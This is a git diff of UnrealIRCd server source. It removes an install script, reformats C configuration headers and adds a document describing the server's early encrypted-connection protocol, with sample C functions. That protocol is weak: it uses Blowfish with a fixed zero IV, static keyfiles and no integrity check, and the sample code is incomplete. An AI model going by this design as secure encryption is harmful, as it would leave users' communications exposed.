-m ) chmod="/bin/chmod $2" - shift - shift - ;; - -o ) chown="/etc/chown -f $2" - shift - shift - ;; - -g ) chgrp="/bin/chgrp -f $2" - shift - shift - ;; - -d ) cmd="/bin/mkdir" - shift - ;; - * ) break - ;; - esac -done - -if [ ! ${2-""} ] -then echo "install: no destination specified" - exit 1 -fi -if [ ${3-""} ] -then echo "install: too many files specified -> $*" - exit 1 -fi -if [ $1 = $2 -o $2 = . ] -then echo "install: can't move $1 onto itself" - exit 1 -fi -case $cmd in -/bin/mkdir ) - file=$2/$1 - ;; -* ) - if [ '!' -f $1 ] - then echo "install: can't open $1" - exit 1 - fi - if [ -d $2 ] - then file=$2/$1 - else file=$2 - fi - /bin/rm -f $file - ;; -esac - -case $cmd in -/bin/mkdir ) - if [ ! -d "$file" ] - then $cmd $file - fi - ;; -* ) - $cmd $1 $file - if [ $strip ] - then $strip $file - fi - ;; -esac - -$chown $file -$chgrp $file -$chmod $file diff --git a/doc/crypto.doc b/doc/crypto.doc new file mode 100644 index 000000000..f2a1d4d4e --- /dev/null +++ b/doc/crypto.doc @@ -0,0 +1,191 @@ + + UnrealIRCd Encryption Protocol + version 1.0 + by Carsten V. Munk (stskeeps@tspre.org) + + +1. Introduction +--------------- + +As of UnrealIRCd version 3.1 we have included capability for secure +connections (Encrypted IRC connections). This was done after I read an "Ask +Slashdot" article at slashdot.org, (http://slashdot.org/askslashdot/00/04/19/0443251.shtml) +where a guy asked: + +cylent asks: "I have a close-knit group of acquaintances that like to communicate with each other +often. Public IRC servers are fine for chit-chat, although for more in-depth discussions a more +secure form of communication is preferred. I'm wondering what GPL'd software exists to provide for a +secure form of realtime multi-party communication. Are there any IRC servers/clients that support any +form of public key cryptography? Blowfish? 3DES? Are there any other proprietary "chat" +programs available with a forte in cryptography?". + +I sat down, did some thoughts. The thing would not be public key, as I +believe client and server should have a keyfile, picked up by SSL, SSH +whatever. The communication would be client<->server, so that the stream +would be encrypted. Safest way to ensure 100% secure communications would be +to set up the IRC server, and join in with only secure communications to +same channel where no non secure clients were and set it +is. +Server<->server communications are not encrypted (yet), but we're working on +it. However, here is a description of the protocol: + +2. System Requiriments +-------------------------------- + +* OpenSSL (with libcrypto), win32 port also availible, read unreal.tspre.org + for more information. Read http://www.openssl.org for more information + (you need the openssl/ directory in includes to compile) + + +3. Negotiating the secure connection +------------------------------------ + +The client connects, and sends: (normal irc with \r\n as terminates) + +CRYPTO + | | | + | | \--- Unused currently, use "*" + | \--- The name of the file in keys/ containing the key + \--- This is algoritm name, in uppercase (see algoritm list) + +NOTE: the keyfilename must not contain a / or a \ + +Until connection is negotiated the connection is in non-secure mode (normal +irc protocol, see RFC 1459) + +The server then responds, if the key was acknowledged: + +CRYPTO ON + \---- (see algoritm list, this is in uppercase) + +and the connecting is marked as secure, sending secure packets now. + +The server responds, if an error has occoured: + +CRYPTO ERROR :test + +And the secure connection is disabled + +Some example errors: + +CRYPTO ERROR :Illegal keypath +- Means that keyfilename in CRYPTO command was illegal + +CRYPTO ERROR :Failed to open keyfile +- Means that the IRCd failed to open the keyfile + +CRYPTO ERROR :Unable to read keyfile +- Means that the IRCd failed to read the keyfile + +CRYPTO ERROR :No such method/command +- Means that the method (algoritm) or command does not exist + +4. The stream packets +--------------------- + +When secure mode (CRYPTO ON), is acknowledged the IRCd sends, and expects +to recieve packets with the encrypted data. + +The packet is started with a header + +struct crypto_header +{ + unsigned char highbyte; + unsigned char lowbyte; +}; + +after the header, a buffer with exact length ((highbyte * 256) + lowbyte) +is coming after (binary buffer). When the string is recieved, decrypt using +the cipher. + +Example function: (this decrypts a buffer), wont work with direct paste, but +you can see the principle: + +char *ep_decrypt(aClient *cptr, char *string) +{ + static char decryptbuffer[8192]; + int num; + char ivec[9]; + int length; + + if (!cptr->cryptinfo) + return string; + + bzero(decryptbuffer, sizeof(decryptbuffer)); + bzero(ivec, sizeof(ivec)); + num = 0; + length = (*(string) * 256) + (*(string + 1)); + + if (cptr->cryptinfo->method == METHOD_BLOWFISH) + { + BF_cfb64_encrypt(string + 2, decryptbuffer, length, + cptr->cryptinfo->key, ivec, &num, BF_DECRYPT); + return (decryptbuffer); + } +} + +The IRCd expects same format back, here is what the ircd encrypts with: + +char *ep_encrypt(aClient *cptr, char *string, int *len) +{ + static unsigned char cryptobuffer[8192]; + char ivec[9]; + int length; + char *c; + int num; + + if (!cptr->cryptinfo) + return string; + + bzero(cryptobuffer, sizeof(cryptobuffer)); + bzero(ivec, sizeof(ivec)); + num = 0; + + if ((c = (char *)strchr(string, '\n'))) + *c = '\0'; + if ((c = (char *)strchr(string, '\r'))) + *c = '\0'; + + length = strlen(string) + 1; + cryptobuffer[0] = (unsigned char) length / 256; + cryptobuffer[1] = (unsigned char) length - (cryptobuffer[0] * 256); + + if (cptr->cryptinfo->method == METHOD_BLOWFISH) + { + BF_cfb64_encrypt(string, &cryptobuffer[2], length, + cptr->cryptinfo->key, ivec, &num, BF_ENCRYPT); + + *len = length + 2; + return (cryptobuffer); + } +} + + +To abort the secure connection, either QUIT (to exit completely), or +send CRYPT OFF. + + +5. Algoritms +------------ + +As of Unreal3.1 only BLOWFISH is implemented, but there will be patches +for extended algoritms. We use the include at the +moment. + +Mail stskeeps@tspre.org if you show interest in other algoritms + +6. Credits +---------- + +Credits to the UnrealIRCd team (me, codemastr, DrBin) + +Credits to slashdot.org as well. + +This product includes software developed by Eric Young (eay@cryptsoft.com) + + +7. Contact info +---------------- + +Mail stskeeps@tspre.org for any questions + + diff --git a/include/badwords.h b/include/badwords.h index df3d4374b..64698f94d 100644 --- a/include/badwords.h +++ b/include/badwords.h @@ -4,17 +4,22 @@ #include #include #include + +#ifdef HAVE_REGEX #include +#else +#include "../extras/regex/regex.h" +#endif #define MAX_MATCH 1 #define MAX_WORDLEN 64 -#define MAX_WORDS 30 +#define MAX_WORDS 50 #define PATTERN "\\w*%s\\w*" #define REPLACEWORD "" -char *stripbadwords(char *, int); -int loadbadwords(char *, int); -void freebadwords(void); +char *stripbadwords(char *, int); +int loadbadwords(char *, int); +void freebadwords(void); #endif diff --git a/include/channel.h b/include/channel.h index a86fcd225..c4333961e 100644 --- a/include/channel.h +++ b/include/channel.h @@ -21,8 +21,8 @@ #ifndef __channel_include__ #define __channel_include__ -#define CREATE 1 /* whether a channel should be - created or just tested for existance */ +#define CREATE 1 /* whether a channel should be + created or just tested for existance */ #define MODEBUFLEN 200 @@ -38,7 +38,7 @@ */ #include "msg.h" #define MAXMODEPARAMS (MAXPARA-2) /* Maximum modes processed */ -#define RESYNCMODES 12 /* Max modes per MODE in resync */ -#define MODEPARAMS 6 /* Max modes from user */ +#define RESYNCMODES 12 /* Max modes per MODE in resync */ +#define MODEPARAMS 6 /* Max modes from user */ #endif diff --git a/include/cio.h b/include/cio.h index 342973bae..fd6ad8617 100644 --- a/include/cio.h +++ b/include/cio.h @@ -7,21 +7,18 @@ #ifndef CIO #define CIO -typedef struct tag_CioLine -{ - BYTE *Data; - WORD Len; - struct tag_CioLine *Prev, *Next; +typedef struct tag_CioLine { + BYTE *Data; + WORD Len; + struct tag_CioLine *Prev, *Next; } CioLine; -typedef struct tag_CioWndInfo -{ +typedef struct tag_CioWndInfo { CioLine *FirstLine, *CurLine; - int Lines, Scroll; - int Width, Height, XChar, YChar, YJunk, ScrollMe; - HFONT hFont; - BYTE FR, FG, FB; + int Lines, Scroll; + int Width, Height, XChar, YChar, YJunk, ScrollMe; + HFONT hFont; + BYTE FR, FG, FB; } CioWndInfo; #endif - diff --git a/include/ciofunc.h b/include/ciofunc.h index c5274bf79..18571f849 100644 --- a/include/ciofunc.h +++ b/include/ciofunc.h @@ -10,11 +10,12 @@ BOOL Cio_Init(HINSTANCE hInstance); // Cio_Main.c LRESULT CALLBACK Cio_WndProc(HWND, UINT, WPARAM, LPARAM); -HWND Cio_Create(HINSTANCE hInstance, HWND hParent, DWORD Style, int X, int Y, int W, int H); +HWND Cio_Create(HINSTANCE hInstance, HWND hParent, DWORD Style, int X, int Y, + int W, int H); BOOL Cio_WndCreate(HWND hWnd); BOOL Cio_WndPaint(HWND hWnd); BOOL Cio_WndDestroy(HWND hWnd); BOOL Cio_WndAddString(HWND hWnd, int Len, char *Buffer); BOOL Cio_WndSize(HWND hWnd, LPARAM lParam); -void Cio_Scroll(HWND hWnd, CioWndInfo *CWI, int Scroll); +void Cio_Scroll(HWND hWnd, CioWndInfo * CWI, int Scroll); BOOL Cio_PrintF(HWND hWnd, char *InBuf, ...); diff --git a/include/class.h b/include/class.h index c1fc9254d..e1faa4771 100644 --- a/include/class.h +++ b/include/class.h @@ -31,12 +31,12 @@ #endif typedef struct Class { - int class; - int conFreq; - int pingFreq; - int maxLinks; - long maxSendq; - int links; + int class; + int conFreq; + int pingFreq; + int maxLinks; + long maxSendq; + int links; struct Class *next; } aClass; @@ -57,15 +57,15 @@ typedef struct Class { #define FirstClass() classes #define NextClass(x) ((x)->next) -extern aClass *classes; +extern aClass *classes; -extern aClass *find_class PROTO((int)); -extern int get_conf_class PROTO((aConfItem *)); -extern int get_client_class PROTO((aClient *)); -extern int get_client_ping PROTO((aClient *)); -extern int get_con_freq PROTO((aClass *)); -extern void add_class PROTO((int, int, int, int, long)); -extern void check_class PROTO((void)); -extern void initclass PROTO((void)); +extern aClass *find_class PROTO((int)); +extern int get_conf_class PROTO((aConfItem *)); +extern int get_client_class PROTO((aClient *)); +extern int get_client_ping PROTO((aClient *)); +extern int get_con_freq PROTO((aClass *)); +extern void add_class PROTO((int, int, int, int, long)); +extern void check_class PROTO((void)); +extern void initclass PROTO((void)); #endif /* __class_include__ */ diff --git a/include/common.h b/include/common.h index dc9be440e..b280049bc 100644 --- a/include/common.h +++ b/include/common.h @@ -79,27 +79,27 @@ #if 0 #ifndef MALLOCH -char *malloc(), *calloc(); -void free(); +char *malloc(), *calloc(); +void free(); #else #include MALLOCH #endif #endif -extern int match PROTO((char *, char *)); +extern int match PROTO((char *, char *)); #define mycmp(a,b) \ ( (toupper((a)[0])!=toupper((b)[0])) || smycmp((a)+1,(b)+1) ) -extern int smycmp PROTO((char *, char *)); +extern int smycmp PROTO((char *, char *)); #ifndef GLIBC2_x -extern int myncmp PROTO((char *, char *, int)); -#endif +extern int myncmp PROTO((char *, char *, int)); +#endif #ifdef NEED_STRTOK -extern char *strtok2 PROTO((char *, char *)); +extern char *strtok2 PROTO((char *, char *)); #endif #ifdef NEED_STRTOKEN -extern char *strtoken PROTO((char **, char *, char *)); +extern char *strtoken PROTO((char **, char *, char *)); #endif #ifdef NEED_INET_ADDR extern unsigned long inet_addr PROTO((char *)); @@ -116,7 +116,7 @@ extern char *inet_ntoa PROTO((struct IN_ADDR)); extern int inet_netof PROTO((struct IN_ADDR)); #endif -int global_count, max_global_count; +int global_count, max_global_count; extern char *myctime PROTO((time_t)); extern char *strtoken PROTO((char **, char *, char *)); @@ -195,21 +195,28 @@ extern char *MyMalloc(); // #define MyFree free // #endif extern void flush_connections(); -extern struct SLink *find_user_link(/* struct SLink *, struct Client * */); +extern struct SLink *find_user_link( /* struct SLink *, struct Client * */ ); /* * Protocol support text. DO NO CHANGE THIS unless you know what * you are doing. */ + +#ifdef ZIP_LINKS +#define ZIPSTUFF " ZIP" +#else +#define ZIPSTUFF "" +#endif + #define PROTOCTL_CLIENT "TOKEN WATCH=128 SAFELIST HCN PREFIX=@+%" -#define PROTOCTL_SERVER "NOQUIT TOKEN NICKv2 SJOIN SJOIN2 UMODE2 ALN" +#define PROTOCTL_SERVER "NOQUIT TOKEN NICKv2 SJOIN SJOIN2 UMODE2 ALN VL SJ3" ZIPSTUFF #ifdef _WIN32 /* * Used to display a string to the GUI interface. * Windows' internal strerror() function doesn't work with socket errors. */ -extern int DisplayString(HWND hWnd, char *InBuf, ...); +extern int DisplayString(HWND hWnd, char *InBuf, ...); #undef strerror #endif @@ -217,10 +224,10 @@ extern int DisplayString(HWND hWnd, char *InBuf, ...); extern char *malloc_options; #endif -extern int lu_noninv, lu_inv, lu_serv, lu_oper, - lu_unknown, lu_channel, lu_lu, lu_lulocal, lu_lserv, - lu_clu, lu_mlu, lu_cglobalu, lu_mglobalu; - -time_t now; +extern int lu_noninv, lu_inv, lu_serv, lu_oper, + lu_unknown, lu_channel, lu_lu, lu_lulocal, lu_lserv, + lu_clu, lu_mlu, lu_cglobalu, lu_mglobalu; + +time_t now; #endif /* __common_include__ */ diff --git a/include/config.h b/include/config.h index 6c9147394..e08e374b3 100644 --- a/include/config.h +++ b/include/config.h @@ -49,8 +49,8 @@ #endif /* - * Define this if you're testing/debugging/programming. - */ + * Define this if you're testing/debugging/programming. + */ #undef DEBUG /* Type of host. These should be made redundant somehow. -avalon */ @@ -72,7 +72,7 @@ /* Additional flags to give FreeBSD's malloc, only play with this if you * know what you're doing. */ - + #define MALLOC_FLAGS_EXTRA "" /* ConferenceRoom Java Client Hack -Fish @@ -93,11 +93,28 @@ */ #define ADMINCHAT 1 + /* Remote rehash */ #define REMOTE_REHASH +/* + Stripbadwords patch +*/ +#define STRIPBADWORDS + +/* + * NO_OPEROVERRIDE + * This will disable OperMode, OperTopic and Banwalks +*/ +#undef NO_OPEROVERRIDE + +/* + * Disable /sethost, /setident, /chgname, /chghost, /chgident +*/ +#undef DISABLE_USERMOD + /* Ident checking #define this to disable ident checking @@ -111,47 +128,11 @@ */ /* #define NOSPOOF 1 /* */ -/* - * - * This controls the "nospoof" system. These numbers are "seeds" of the - * "random" number generating formula. Choose any number you like in the - * range of 0x00000000 to 0xFFFFFFFF. Don't tell anyone these numbers, and - * don't use the default ones. Change both #define NOSPOOF... lines below. - * - * Other data is mixed in as well, but these guarantee a per-server secret. - * Also, these values need not remain constant over compilations... Change - * them as often as you like. - */ -#ifdef NOSPOOF - -#ifndef NOSPOOF_SEED01 -#define NOSPOOF_SEED01 0x12345678 -#endif - -#ifndef NOSPOOF_SEED02 -#define NOSPOOF_SEED02 0x87654321 -#endif - -#endif /* NOSPOOF */ - /* * HOSTILENAME - Define this if you want the hostile username patch included, * it will strip characters that are not 0-9,a-z,A-Z,_,- or . */ -#define HOSTILENAME /* */ - -/* - * Define this to prevent mixed case userids that clonebots use. However - * this affects the servers running telclients WLD* FIN* etc. - */ -#undef DISALLOW_MIXED_CASE - -/* - * Define this if you wish to ignore the case of the first character of - * the user id when disallowing mixed case. This allows PC users to - * enter the more intuitive first name with the first letter capitalised - */ -#define IGNORE_CASE_FIRST_CHAR +#define HOSTILENAME /* */ /* ** Nick flood limit @@ -161,7 +142,7 @@ ** Define NICK_DELAY if you want this feature. */ -#define NICK_DELAY 15 /* recommended value 15 */ +#define NICK_DELAY 15 /* recommended value 15 */ /* ** Freelinks garbage collector -Stskeeps @@ -170,10 +151,10 @@ ** HOW_MANY_FREELINKS_ALLOWED - how many freelinks allowed */ #ifndef GARBAGE_COLLECT_EVERY -#define GARBAGE_COLLECT_EVERY 600 /* default: 600 (10 mins) */ +#define GARBAGE_COLLECT_EVERY 600 /* default: 600 (10 mins) */ #endif -#define HOW_MANY_FREELINKS_ALLOWED 200 /* default: 200 */ +#define HOW_MANY_FREELINKS_ALLOWED 200 /* default: 200 */ /* * Define this if you wish to output a *file* to a K lined client rather @@ -229,16 +210,16 @@ */ #define CPATH "ircd.conf" /* server configuration file */ #define MPATH "ircd.motd" /* server MOTD file */ -#define RPATH "ircd.rules" /* server rules file */ +#define RPATH "ircd.rules" /* server rules file */ #define ZPATH "ircd.notes" /* server notes */ -#define ZCONF "networks/unrealircd.conf" /* ircd configuration .. */ -#define OPATH "oper.motd" /* Operators MOTD file */ +#define ZCONF "networks/unrealircd.conf" /* ircd configuration .. */ +#define OPATH "oper.motd" /* Operators MOTD file */ #define LPATH "debug.log" /* Where the debug file lives, if DEBUGMODE */ #define PPATH "ircd.pid" /* file for server pid */ #define lPATH "ircd.log" /* server log file */ -#define VPATH "ircd.svsmotd" /* Services MOTD append. */ +#define VPATH "ircd.svsmotd" /* Services MOTD append. */ #define BPATH "bot.motd" /* Bot MOTD */ -#define IRCDTUNE "ircd.tune" /* tuning .. */ +#define IRCDTUNE "ircd.tune" /* tuning .. */ /* * Define this filename to maintain a list of persons who log @@ -278,13 +259,6 @@ */ #define SHOW_INVISIBLE_LUSERS - -/* OPER_* defines - * - * See ./docs/example.conf for examples of how to restrict access for - * your IRC Operators - */ - /* MAXIMUM LINKS * * This define is useful for leaf nodes and gateways. It keeps you from @@ -323,14 +297,7 @@ * starts up the server with a new conf file that has some extra * O-lines. So don't use this unless you're debugging. */ -#define CMDLINE_CONFIG /* allow conf-file to be specified on command line */ - -/* - * To use m4 as a preprocessor on the ircd.conf file, define M4_PREPROC. - * The server will then call m4 each time it reads the ircd.conf file, - * reading m4 output as the server's ircd.conf file. - */ -#undef M4_PREPROC +#define CMDLINE_CONFIG /* allow conf-file to be specified on command line */ /* * If you wish to have the server send 'vital' messages about server @@ -349,11 +316,11 @@ * If you use syslog above, you may want to turn some (none) of the * spurious log messages for KILL/SQUIT off. */ -#undef SYSLOG_KILL /* log all operator kills to syslog */ -#undef SYSLOG_SQUIT /* log all remote squits for all servers to syslog */ -#undef SYSLOG_CONNECT /* log remote connect messages for other all servs */ -#undef SYSLOG_USERS /* send userlog stuff to syslog */ -#undef SYSLOG_OPER /* log all users who successfully become an Op */ +#undef SYSLOG_KILL /* log all operator kills to syslog */ +#undef SYSLOG_SQUIT /* log all remote squits for all servers to syslog */ +#undef SYSLOG_CONNECT /* log remote connect messages for other all servs */ +#undef SYSLOG_USERS /* send userlog stuff to syslog */ +#undef SYSLOG_OPER /* log all users who successfully become an Op */ /* * If you want to log to a different facility than DAEMON, change @@ -362,15 +329,6 @@ #define LOG_FACILITY LOG_DAEMON #endif /* USE_SYSLOG */ -/* - * IDLE_FROM_MSG - * - * Idle-time nullified only from privmsg, if undefined idle-time - * is nullified from everything except ping/pong. - * Added 3.8.1992, kny@cs.hut.fi (nam) - */ -#define IDLE_FROM_MSG - /* * Size of the LISTEN request. Some machines handle this large * without problem, but not all. It defaults to 5, but can be @@ -413,13 +371,13 @@ * If you _must_ insist on running as root and not wanting the program to change its * UID, then define BIG_SECURITY_HOLE below */ -#if !defined(_WIN32) && !defined(_AMIGA) -/* Change This Line Below \/ */ -#define BIG_SECURITY_HOLE +#if !defined(_WIN32) +/* Change This Line Below \/ */ +#define BIG_SECURITY_HOLE /* Its the one above ^^^^^^^ */ -#ifndef BIG_SECUTIRY_HOLE - #define IRC_UID un_uid - #define IRC_GID un_gid +#ifndef BIG_SECURITY_HOLE +#define IRC_UID un_uid +#define IRC_GID un_gid #endif #endif @@ -432,10 +390,6 @@ */ #define CLIENT_FLOOD 8000 -/* Define this if you want the server to accomplish ircII standard */ -/* Sends an extra NOTICE in the beginning of client connection */ -#undef IRCII_KLUDGE - /* * Define your network service names here. */ @@ -483,9 +437,6 @@ */ #define SOCKSPORT 6013 -/* Define default Z:line time for SOCKS -taz */ -#define ZLINE_TIME 300 - /* STOP STOP STOP STOP STOP STOP STOP STOP STOP STOP STOP STOP STOP STOP */ /* You shouldn't change anything below this line, unless absolutely needed. */ @@ -494,7 +445,7 @@ * Port where ircd resides. NOTE: This *MUST* be greater than 1024 if you * plan to run ircd under any other uid than root. */ -#define PORTNUM 6667 /* 6667 is default */ +#define PORTNUM 6667 /* 6667 is default */ /* * Maximum number of network connections your server will allow. This should @@ -535,7 +486,7 @@ * chasing possible for mode and kick. */ #ifndef NICKNAMEHISTORYLENGTH -#define NICKNAMEHISTORYLENGTH 2000 +#define NICKNAMEHISTORYLENGTH 2000 #endif /* @@ -587,17 +538,7 @@ * Max time from the nickname change that still causes KILL * automaticly to switch for the current nick of that user. (seconds) */ -#define KILLCHASETIMELIMIT 90 /* Recommended value: 90 */ - - -/* - * SendQ-Always causes the server to put all outbound data into the sendq and - * flushing the sendq at the end of input processing. This should cause more - * efficient write's to be made to the network. - * There *shouldn't* be any problems with this method. - * -avalon - */ -#define SENDQ_ALWAYS +#define KILLCHASETIMELIMIT 90 /* Recommended value: 90 */ /* ------------------------- END CONFIGURATION SECTION -------------------- */ #define MOTD MPATH @@ -618,11 +559,6 @@ #endif #endif -#ifdef _SEQUENT_ /* Dynix 1.4 or 2.0 Generic Define.. */ -#undef BSD -#define SYSV /* Also #define SYSV */ -#endif - #ifdef ultrix #define ULTRIX #endif @@ -643,7 +579,7 @@ #endif #ifdef DEBUGMODE -extern void debug(); +extern void debug(); # define Debug(x) debug x # define LOGFILE LPATH #else @@ -665,72 +601,57 @@ extern void debug(); #ifdef MIPS #undef BSD -#define BSD 1 /* mips only works in bsd43 environment */ -#endif - -#ifdef sequent /* Dynix (sequent OS) */ -#define SEQ_NOFILE 128 /* set to your current kernel impl, */ -#endif /* max number of socket connections */ - -#ifdef _SEQUENT_ -#define DYNIXPTX +#define BSD 1 /* mips only works in bsd43 environment */ #endif #ifdef BSD_RELIABLE_SIGNALS # if defined(SYSV_UNRELIABLE_SIGNALS) || defined(POSIX_SIGNALS) -error You stuffed up config.h signals #defines use only one. +error You stuffed up config.h signals +#defines use only one. # endif #define HAVE_RELIABLE_SIGNALS #endif - #ifdef SYSV_UNRELIABLE_SIGNALS # ifdef POSIX_SIGNALS -error You stuffed up config.h signals #defines use only one. + error You stuffed up config.h signals +#defines use only one. # endif #undef HAVE_RELIABLE_SIGNALS #endif - #ifdef POSIX_SIGNALS #define HAVE_RELIABLE_SIGNALS #endif - /* * safety margin so we can always have one spare fd, for motd/authd or * whatever else. -4 allows "safety" margin of 1 and space reserved. */ #define MAXCLIENTS (MAXCONNECTIONS-4) - #ifdef HAVECURSES # define DOCURSES #else # undef DOCURSES #endif - #ifdef HAVETERMCAP # define DOTERMCAP #else # undef DOTERMCAP #endif - # define stricmp strcasecmp # define strnicmp strncasecmp - #if defined(CLIENT_FLOOD) # if (CLIENT_FLOOD > 8000) # define CLIENT_FLOOD 8000 # else # if (CLIENT_FLOOD < 512) -error CLIENT_FLOOD needs redefining. + error CLIENT_FLOOD needs redefining. # endif # endif #else -error CLIENT_FLOOD undefined + error CLIENT_FLOOD undefined #endif - #if (NICKNAMEHISTORYLENGTH < 100) # define NICKNAMEHISTORYLENGTH 100 #endif - /* * Some ugliness for AIX platforms. */ @@ -753,8 +674,6 @@ error CLIENT_FLOOD undefined #if defined(SOL20) || defined(SOL25) || defined(SOL26) || defined(SOL27) #define _SOLARIS #endif - - /* * Cleaup for WIN32 platform. */ @@ -773,7 +692,4 @@ error CLIENT_FLOOD undefined #define Reg8 register #define Reg9 register #define Reg10 register - -#endif /* __config_include__ */ - - +#endif /* __config_include__ */ diff --git a/include/dbuf.h b/include/dbuf.h index 8691e8e77..a92de25e4 100644 --- a/include/dbuf.h +++ b/include/dbuf.h @@ -45,25 +45,14 @@ ** implementation of this package without changing the ** interface. */ -#if !defined(_SEQUENT_) -typedef struct dbuf - { - u_int length; /* Current number of bytes stored */ - u_int offset; /* Offset to the first byte */ - struct dbufbuf *head; /* First data buffer, if length > 0 */ +typedef struct dbuf { + u_int length; /* Current number of bytes stored */ + u_int offset; /* Offset to the first byte */ + struct dbufbuf *head; /* First data buffer, if length > 0 */ /* added by mnystrom@mit.edu: */ - struct dbufbuf *tail; /* last data buffer, if length > 0 */ - } dbuf; -#else -typedef struct dbuf - { - uint length; /* Current number of bytes stored */ - uint offset; /* Offset to the first byte */ - struct dbufbuf *head; /* First data buffer, if length > 0 */ - /* added by mnystrom@mit.edu: */ - struct dbufbuf *tail; /* last data buffer, if length > 0 */ - } dbuf; -#endif + struct dbufbuf *tail; /* last data buffer, if length > 0 */ +} dbuf; + /* ** And this 'dbufbuf' should never be referenced outside the ** implementation of 'dbuf'--would be "hidden" if C had such @@ -73,11 +62,10 @@ typedef struct dbuf ** as long as a pointer is 4 bytes, we get 2032 bytes for buffer ** data after we take away a bit for malloc to play with. -avalon */ -typedef struct dbufbuf - { - struct dbufbuf *next; /* Next data buffer, NULL if this is last */ - char data[2032]; /* Actual data stored here */ - } dbufbuf; +typedef struct dbufbuf { + struct dbufbuf *next; /* Next data buffer, NULL if this is last */ + char data[2032]; /* Actual data stored here */ +} dbufbuf; /* ** dbuf_put @@ -88,10 +76,10 @@ typedef struct dbufbuf ** returns > 0, if operation successfull ** < 0, if failed (due memory allocation problem) */ -int dbuf_put PROTO((dbuf *, char *, int)); +int dbuf_put PROTO((dbuf *, char *, int)); /* Dynamic buffer header */ - /* Pointer to data to be stored */ - /* Number of bytes to store */ + /* Pointer to data to be stored */ + /* Number of bytes to store */ /* ** dbuf_get @@ -108,10 +96,10 @@ int dbuf_put PROTO((dbuf *, char *, int)); ** Negative return values indicate some unspecified ** error condition, rather fatal... */ -int dbuf_get PROTO(( dbuf *, char *, int)); +int dbuf_get PROTO((dbuf *, char *, int)); /* Dynamic buffer header */ - /* Pointer to buffer to receive the data */ - /* Max amount of bytes that can be received */ + /* Pointer to buffer to receive the data */ + /* Max amount of bytes that can be received */ /* ** dbuf_map, dbuf_delete @@ -138,8 +126,8 @@ int dbuf_get PROTO(( dbuf *, char *, int)); ** between map and delete functions... */ char *dbuf_map PROTO((dbuf *, int *)); - /* Dynamic buffer header */ - /* Return number of bytes accessible */ + /* Dynamic buffer header */ + /* Return number of bytes accessible */ int dbuf_delete PROTO((dbuf *, int)); /* Dynamic buffer header */ @@ -160,6 +148,6 @@ int dbuf_delete PROTO((dbuf *, int)); */ #define DBufClear(dyn) dbuf_delete((dyn),DBufLength(dyn)) -extern int dbuf_getmsg PROTO((dbuf *, char *, int)); +extern int dbuf_getmsg PROTO((dbuf *, char *, int)); #endif /* __dbuf_include__ */ diff --git a/include/dynconf.h b/include/dynconf.h index 7031acd80..65c203472 100644 --- a/include/dynconf.h +++ b/include/dynconf.h @@ -26,62 +26,60 @@ #define DYNCONF_CONF_VERSION "1.5" #define DYNCONF_NETWORK_VERSION "2.2" -typedef struct zNetwork aNetwork; -struct zNetwork { - unsigned x_inah : 1; - char *x_ircnetwork; - char *x_defserv; - char *x_services_name; - char *x_oper_host; - char *x_admin_host; - char *x_locop_host; - char *x_sadmin_host; - char *x_netadmin_host; - char *x_coadmin_host; - char *x_techadmin_host; - char *x_hidden_host; - char *x_netdomain; - char *x_helpchan; - char *x_stats_server; +typedef struct zNetwork aNetwork; +struct zNetwork { + unsigned x_inah:1; + char *x_ircnetwork; + char *x_defserv; + char *x_services_name; + char *x_oper_host; + char *x_admin_host; + char *x_locop_host; + char *x_sadmin_host; + char *x_netadmin_host; + char *x_coadmin_host; + char *x_techadmin_host; + char *x_hidden_host; + char *x_netdomain; + char *x_helpchan; + char *x_stats_server; }; typedef struct zConfiguration aConfiguration; -struct zConfiguration { - unsigned som : 1; - unsigned mode_x : 1; - unsigned mode_i : 1; - unsigned mode_stripbadwords : 1; - unsigned truehub : 1; - unsigned stop : 1; - unsigned showopers : 1; - unsigned killdiff : 1; - unsigned hide_ulines : 1; - unsigned allow_chatops : 1; - unsigned webtv_support : 1; - unsigned no_oper_hiding : 1; +struct zConfiguration { + unsigned som:1; + unsigned mode_x:1; + unsigned mode_i:1; + unsigned mode_stripbadwords:1; + unsigned truehub:1; + unsigned stop:1; + unsigned showopers:1; + unsigned killdiff:1; + unsigned hide_ulines:1; + unsigned allow_chatops:1; + unsigned webtv_support:1; + unsigned no_oper_hiding:1; /* long nospoof_seed01; long nospoof_seed02; */ - long host_timeout; - int host_retries; - char *kline_address; - char *include; - char *domainname; - char *domainmask; /* '*' + domainname */ - char *auto_join_chans; - char *oper_auto_join_chans; - int socksbantime; - int maxchannelsperuser; - char *socksbanmessage; - char *socksquitmessage; - aNetwork network; + long host_timeout; + int host_retries; + char *kline_address; + char *include; + char *domainname; + char *domainmask; /* '*' + domainname */ + char *auto_join_chans; + char *oper_auto_join_chans; + int socksbantime; + int maxchannelsperuser; + char *socksbanmessage; + char *socksquitmessage; + aNetwork network; }; #ifndef DYNCONF_C -extern aConfiguration iConf; +extern aConfiguration iConf; #endif -// #define NOSPOOF_SEED01 iConf.nospoof_seed01 -// #define NOSPOOF_SEED02 iConf.nospoof_seed02 #define KLINE_ADDRESS iConf.kline_address #define INCLUDE iConf.include #define DOMAINNAMEMASK "*" DOMAINNAME diff --git a/include/fdlist.h b/include/fdlist.h index 8a1f843e4..e9f5110e0 100644 --- a/include/fdlist.h +++ b/include/fdlist.h @@ -4,21 +4,21 @@ /* $Id$ */ typedef struct fdstruct { - int entry[MAXCONNECTIONS + 2]; - int last_entry; + int entry[MAXCONNECTIONS + 2]; + int last_entry; } fdlist; -void addto_fdlist(int a, fdlist * b); -void delfrom_fdlist(int a, fdlist * b); -void init_fdlist(fdlist * b); +void addto_fdlist(int a, fdlist * b); +void delfrom_fdlist(int a, fdlist * b); +void init_fdlist(fdlist * b); #ifndef TRUE #define TRUE 1 #endif - + #define LOADCFREQ 5 #define LOADRECV 35 -#define FDLISTCHKFREQ 2 +#define FDLISTCHKFREQ 2 #endif /* * _IRCD_DOG3_FDLIST diff --git a/include/h.h b/include/h.h index d0b224a08..2aa206ff1 100644 --- a/include/h.h +++ b/include/h.h @@ -29,19 +29,24 @@ #include "fdlist.h" #endif -extern time_t nextconnect, nextdnscheck, nextping; -extern aClient *client, me, *local[]; -extern aChannel *channel; -extern struct stats *ircstp; -extern int bootopt; -extern time_t TSoffset; +/* for the new s_err.c */ +extern char *getreply(int); +#define rpl_str(x) getreply(x) +#define err_str(x) getreply(x) + +extern time_t nextconnect, nextdnscheck, nextping; +extern aClient *client, me, *local[]; +extern aChannel *channel; +extern struct stats *ircstp; +extern int bootopt; +extern time_t TSoffset; /* Prototype added to force errors -- Barubary */ -extern time_t check_pings(time_t now, int check_kills); +extern time_t check_pings(time_t now, int check_kills); /* Remmed out for win32 